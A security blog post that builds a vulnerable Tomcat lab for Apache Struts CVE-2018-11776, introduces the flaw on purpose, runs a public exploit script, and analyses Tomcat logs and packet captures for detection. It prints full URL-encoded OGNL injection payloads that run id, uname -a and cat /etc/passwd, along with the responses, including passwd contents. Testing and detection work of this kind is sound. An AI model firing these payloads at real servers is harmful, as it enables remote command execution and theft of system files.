Apache Struts CVE-2018-11776 – Testing, Analyzing, & Detection


Any time a new Apache Struts vulnerability comes out it should be taken pretty seriously as there are many “mission critical” systems that are leveraging the framework, with a considerable amount of them being public facing. Unfortunately, as a former Sys Ad I can tell you that many of these systems will go on unpatched and possibly even undetected for sometime. I have also seen that Tomcat is all to often misconfigured due to difficulties encountered during the deployment of an application, so it is run under a privileged account like root for troubleshooting and then left that way.

My goal with this post is to test the exploits and vulnerable packages while hoping to grab some artifacts/pcaps that can be used for analysis and detection later on.

It is worth mentioning, this vulnerability does require a more specific configuration in order to be able to exploit it successfully when compared to the previous struts exploits like CVE-2017-9805 and CVE-2017-5638. The exploit does seem to be fairly reliable once the criteria is met, however in testing various vulnerable packages, my results were rather interesting – but more on that later.

First let’s get all the details out of the way and some basic information on creating a vulnerable server:

Building a Vulnerable Machine

For my test image I went with a freshly downloaded Ubuntu 16.04.5 x64 Desktop and installed Tomcat 8 through the Ubuntu repository via apt. Initially, I attempted to perform this install on Ubuntu 18.04, but it turns out Tomcat is no longer available to install through the repository. So to keep this post as simple as possible, I went with 16.04.

There are 2 reasons I wanted to build my own vulnerable server, first being I just like to build servers to test with. The other reason being that when I started reading about this particular vulnerability and exploit, it seemed most were referencing testing on the docker container from piesecurity. I wanted to expand upon that and see what would happen on a fresh Ubuntu and Tomcat install with the old struts packages deployed.

Installing Tomcat 8

1.) Elevate privileges:
$ sudo su

2.) Update the machine:
# apt update

3.) Install Tomcat 8:
# apt-get install tomcat8 tomcat8-admin

4.) Now open the Tomcat configuration file to add an admin user to Tomcat:
# nano /etc/tomcat8/tomcat-users.xml

5.) Add the following line between the <tomcat-users> tags to create a user to log into the manager:

6.) Restart Tomcat:
# systemctl restart tomcat8

Exit the root shell at this point:
# exit

7.) Verify Tomcat is working by browsing to it at http://Server_IP:8080/manager/html and logging in:

Deploying the vulnerable packages

1.) Download the known vulnerable struts2-showcase-2.3.12.war from hook-s3c’s repo:

2.) Download the Apache Struts Packages:
$ wget http://archive.apache.org/dist/struts/2.3.20/struts-2.3.20-all.zip &&
wget http://archive.apache.org/dist/struts/2.3.24/struts-2.3.24-all.zip &&
wget http://archive.apache.org/dist/struts/2.3.30/struts-2.3.30-all.zip &&
wget http://archive.apache.org/dist/struts/2.5/struts-2.5-all.zip &&
wget http://archive.apache.org/dist/struts/2.5.1/struts-2.5.1-all.zip &&
wget http://archive.apache.org/dist/struts/2.5.13/struts-2.5.13-all.zip

3.) Unzip all of the packages:
$ unzip struts-2.3.20-all.zip &&
unzip struts-2.3.24-all.zip &&
unzip struts-2.3.30-all.zip &&
unzip struts-2.5-all.zip &&
unzip struts-2.5.1-all.zip &&
unzip struts-2.5.13-all.zip

4.) Now to deploy the vulnerable struts2-showcase.war packages found in the apps folder through the Tomcat Manager:

This is what it should look like once successfully deployed:

The application can be accessed by clicking the link under the Path section or browsing to it directly:

5.) Repeat this process for each additional package.

Note: You may run into issues loading all of the packages at the same time, if this happens test a few packages then remove them and continue.

Testing and Introducing the Vulnerability

Test 1 – Not Vulnerable

To test if the application is vulnerable, just ask it to evaluate a simple OGNL expression like ${123+123} in the namespace:

Out of the box struts2-showcase-2.3.12.war does not appear to be vulnerable since it returned a 404 error and did not render the result of the equation.

Introducing the Vulnerability

To create a vulnerable section of the application the struts.xml will need to be edited for each version of the application that is being tested.

1.) Open the struts.xml with a text editor:
$ sudo nano /var/lib/tomcat8/webapps/struts2-showcase-2.3.12/WEB-INF/classes/struts.xml

2.) Add the following to create a vulnerable redirect in the <package name="default" extends="struts-default"> section:


For completeness the exploit POC repo references the following line to be added to the <struts> section, but it appears to be set by default even though it is not explicitly defined:

3.) Repeat steps 1 & 2 for each struts2-showcase.war that has been uploaded.

4.) Restart Tomcat:
$ sudo systemctl restart tomcat8

Test 2 – Vulnerable But Not Everywhere

The <action> entry will allow requests to be sent to struts2-showcase-2.3.12/help.action and will be redirected to struts2-showcase-2.3.12/date.action.

Notice the injection into the namespace now:

Renders the result of 246 in the URI after the redirect:

This means that help.action is potentially exploitable.

The entire application is not susceptible to exploitation at this point though. That can be tested by trying the same method against the index.action:

This will make finding the vulnerability a little more challenging and likely be a little more noisy which can help with detection.

Running the Exploit

I used the following exploit for my testing:

And it is used like this when targeting the vulnerable help.action:
$ python 45260.py -u ‘http://Server_IP:8080/struts2-showcase-2.3.12/help.action’ -c ‘id’ –exploit

Initially, it did not appear to work and showed that the target was not vulnerable:

After some quick debugging with Wireshark to see what the exploit was sending to test the server, it turned out there was a bug in the script and it was doubling up the curly brackets (notice the double 7B and 7D):

So I made a quick edit to line 151 in the script:

It now works as expected, and the result of the ‘id’ command is returned:

We have now confirmed that it does appear the struts2-showcase-2.3.12.war provided with the POC is vulnerable and can be successfully exploited. Now while it can be exploited, and single commands can be run, there are still a lot of restrictions on what exactly can be passed through without Tomcat striping it out – for example forward slashes can be problematic. Even with the restrictions, turning this into a full shell is trivial at this point.

Testing Additional Packages

This is where it gets interesting…

So now that I know first hand how the exploit should look and work, I wanted to try the packages available directly from the apache struts archives just to be sure they behaved the same. I chose the versions at random and just made sure that they fit within the applicable versions listed on the CVE – Apache Struts versions 2.3 to 2.3.34 and 2.5 to 2.5.16.

Note: The .war provided with the POC 2.3.12 and 2.3.20 was the oldest version available from the Apache repo.

Each package was downloaded directly from the Apache archives page:

Each package was handled as follows:

  • Downloaded and extracted
  • Uploaded via the Tomcat manager
  • The vulnerable redirect <action> and “struts.mapper.alwaysSelectFullNamespace” <constant> were then added to each struts.xml
  • Tomcat instance was restarted to ensure that the fresh configurations were picked up

Here are the results:

Package OGNL Evaluation Command Execution
Struts 2.3.12 (from POC) X X
Struts 2.3.20 X
Struts 2.3.24 X
Struts 2.3.3 X
Struts 2.5 X
Struts 2.5.1 X
Struts 2.5.13 X

While all of the packages successfully evaluated the OGNL expression, not one of the Struts packages from Apache appeared to execute any of the commands that were issued.

All of the packages were deployed in the exact same way as the .war provided with the POC and configured exactly the same but it appears there is something different enough between the packages that none of packages from the Apache repository appear to be exploitable as they are. In fact I even went back to the POC package and re-exploited it just to verify everything was still working on the server and it was.

So while initially this appeared to be a pretty wide ranging vulnerability, there definitely appears to be more to it. This doesn’t mean I’m saying don’t patch, but test first and then maybe you can panic just a smidge less while you figure out what needs to be done.



Let’s just assume an attacker ( has ran these 3 commands against the server using this exploit: id, uname -a, cat /etc/passwd

Attackers Perspective

Commands issued:
$ python 45260.py -u ‘’ -c ‘id’ –exploit
$ python 45260.py -u ‘’ -c ‘uname -a’ –exploit
$ python 45260.py -u ‘’ -c ‘cat /etc/passwd’ –exploit

Endpoint Activity

One of the best ways to capture this kind of activity and validate if it was successful is through monitoring endpoint command line activity. In this case specifically monitoring the user that Tomcat is running under, in this example the user is tomcat8 (UID 121). It is important to remember that these commands will execute under the context of that users identity, so if Tomcat is running as root the commands will be executed as such.

Another thing to watch out for is child processes spawning off of Tomcats java processes that you wouldn’t normally expect, for example java spawning bash or cmd.exe.

Tomcat logs

The Tomcat8 logs can be found in /var/log/tomcat8/ and its the localhost_access_log.date.txt where you will find the good stuff:
$ head -n 20 /var/log/tomcat8/localhost_access_log.2018-08-30.txt

Injection 1 – id

# Check 1 fails, wrong namespace returns 404 - - [30/Aug/2018:11:19:29 -0500] "GET /$%7B88*88%7D/help.action HTTP/1.1" 404 1060
# Check 2 success, returns 302 Redirect - - [30/Aug/2018:11:19:29 -0500] "GET /struts2-showcase-2.3.12/$%7B88*88%7D/help.action HTTP/1.1" 302 -
# Exploit - exec id command, returns 200 OK - - [30/Aug/2018:11:19:30 -0500] "GET /struts2-showcase-2.3.12/%24%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27id%27%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B51020%5D%2C%23c.read%28%23d%29%2C%23sbtest%3D@org.apache.struts2.ServletActionContext@getResponse%28%29.getWriter%28%29%2C%23sbtest.println%28%23d%29%2C%23sbtest.close%28%29%29%7D/help.action HTTP/1.1" 200 51081

Injection 2 – uname -a

# Check 1 fails, wrong namespace returns 404 - - [30/Aug/2018:11:19:37 -0500] "GET /$%7B63*63%7D/help.action HTTP/1.1" 404 1060
# Check 2 success, returns 302 Redirect - - [30/Aug/2018:11:19:37 -0500] "GET /struts2-showcase-2.3.12/$%7B63*63%7D/help.action HTTP/1.1" 302 -
# Exploit - exec uname -a command, returns 200 OK - - [30/Aug/2018:11:19:38 -0500] "GET /struts2-showcase-2.3.12/%24%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27uname%20-a%27%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B51020%5D%2C%23c.read%28%23d%29%2C%23sbtest%3D@org.apache.struts2.ServletActionContext@getResponse%28%29.getWriter%28%29%2C%23sbtest.println%28%23d%29%2C%23sbtest.close%28%29%29%7D/help.action HTTP/1.1" 200 51081

Injection 3 – cat /etc/passwd

# Check 1 fails, wrong namespace returns 404 - - [30/Aug/2018:11:19:44 -0500] "GET /$%7B85*85%7D/help.action HTTP/1.1" 404 1060
# Check 2 success, returns 302 Redirect - - [30/Aug/2018:11:19:44 -0500] "GET /struts2-showcase-2.3.12/$%7B85*85%7D/help.action HTTP/1.1" 302 -
# Exploit - exec cat /etc/passwd command, returns 200 OK - - [30/Aug/2018:11:19:44 -0500] "GET /struts2-showcase-2.3.12/%24%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27cat%20/etc/passwd%27%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B51020%5D%2C%23c.read%28%23d%29%2C%23sbtest%3D@org.apache.struts2.ServletActionContext@getResponse%28%29.getWriter%28%29%2C%23sbtest.println%28%23d%29%2C%23sbtest.close%28%29%29%7D/help.action HTTP/1.1" 200 51081

As you can see both the testing for the vulnerability and exploitation attempts are fairly obvious when looking at the Tomcat logs. The down side though is that you can not really tell for sure whether the attempts were successful based off of this data alone.

It is worth noting that on the successful attempts a 200 OK was returned on command execution, where as all of the Apache packages that showed vulnerable but did not execute commands responded with a 302 on the unsuccessful command injection attempts. It was just an observation, but I would not rely on that to determine success or failure.

On the wire

Download the pcap file:

With a simple http display filter in Wireshark both the testing and exploit attempts are pretty noticeable just like in the Tomcat logs:

Follow the HTTP Stream to see the response:

Well that’s something you never want to see in your HTTP responses…but easily detectable both inbound and outbound with something like snort signatures.

Test 1 – Failure

GET /$%7B63*63%7D/help.action HTTP/1.1
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: struts-pwn (https://github.com/mazen160/struts-pwn_CVE-2018-11776)

HTTP/1.1 404 Not Found
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=utf-8
Content-Language: en
Content-Length: 1060
Date: Thu, 30 Aug 2018 16:19:37 GMT

Apache Tomcat/8.0.32 (Ubuntu) - Error report 

HTTP Status 404 - /$%7B63*63%7D/help.action

type Status report

message /$%7B63*63%7D/help.action

description The requested resource is not available.

Apache Tomcat/8.0.32 (Ubuntu)

Test 2 – Successful

GET /struts2-showcase-2.3.12/$%7B63*63%7D/help.action HTTP/1.1
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: struts-pwn (https://github.com/mazen160/struts-pwn_CVE-2018-11776)

HTTP/1.1 302 Found
Server: Apache-Coyote/1.1
Location: /struts2-showcase-2.3.12/3969/date.action
Content-Length: 0
Date: Thu, 30 Aug 2018 16:19:37 GMT

Injection 1 – id

GET /struts2-showcase-2.3.12/%24%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27id%27%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B51020%5D%2C%23c.read%28%23d%29%2C%23sbtest%3D@org.apache.struts2.ServletActionContext@getResponse%28%29.getWriter%28%29%2C%23sbtest.println%28%23d%29%2C%23sbtest.close%28%29%29%7D/help.action HTTP/1.1
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: struts-pwn (https://github.com/mazen160/struts-pwn_CVE-2018-11776)

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Transfer-Encoding: chunked
Date: Thu, 30 Aug 2018 16:19:29 GMT

uid=121(tomcat8) gid=129(tomcat8) groups=129(tomcat8)

Injection 2 – uname -a

GET /struts2-showcase-2.3.12/%24%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27uname%20-a%27%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B51020%5D%2C%23c.read%28%23d%29%2C%23sbtest%3D@org.apache.struts2.ServletActionContext@getResponse%28%29.getWriter%28%29%2C%23sbtest.println%28%23d%29%2C%23sbtest.close%28%29%29%7D/help.action HTTP/1.1
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: struts-pwn (https://github.com/mazen160/struts-pwn_CVE-2018-11776)

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Transfer-Encoding: chunked
Date: Thu, 30 Aug 2018 16:19:37 GMT

Linux vmw-l-struts 4.15.0-33-generic #36~16.04.1-Ubuntu SMP Wed Aug 15 17:21:05 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

Injection 3 – cat /etc/passwd

GET /struts2-showcase-2.3.12/%24%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27cat%20/etc/passwd%27%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B51020%5D%2C%23c.read%28%23d%29%2C%23sbtest%3D@org.apache.struts2.ServletActionContext@getResponse%28%29.getWriter%28%29%2C%23sbtest.println%28%23d%29%2C%23sbtest.close%28%29%29%7D/help.action HTTP/1.1
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: struts-pwn (https://github.com/mazen160/struts-pwn_CVE-2018-11776)

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Transfer-Encoding: chunked
Date: Thu, 30 Aug 2018 16:19:44 GMT

list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
lightdm:x:108:114:Light Display Manager:/var/lib/lightdm:/bin/false
avahi-autoipd:x:110:119:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false
avahi:x:111:120:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
colord:x:113:123:colord colour management daemon,,,:/var/lib/colord:/bin/false
speech-dispatcher:x:114:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/false
hplip:x:115:7:HPLIP system user,,,:/var/run/hplip:/bin/false
kernoops:x:116:65534:Kernel Oops Tracking Daemon,,,:/:/bin/false
pulse:x:117:124:PulseAudio daemon,,,:/var/run/pulse:/bin/false
usbmux:x:120:46:usbmux daemon,,,:/var/lib/usbmux:/bin/false

As you can see with the packet capture it is relatively easy to determine what was initially sent and whether it was successful or not based off of the servers response. The exploit lends itself to signature based detection and any decent IDS/IPS/WAF solution should be able to filter out and stop exploit attempts at the network level.


While there appear to be some inconsistencies in which packages exactly are vulnerable, this is still a very valid exploit and everyone should be patching as soon as possible. As with any Apache Struts vulnerability the internet is likely already filling with non-targeted exploit attempts against random pools of IP addresses in hopes of finding a vulnerable machine, so make sure your IDS/IPS/WAF signatures are up to date even if you not running struts purely just to block the noise.

Comments are closed.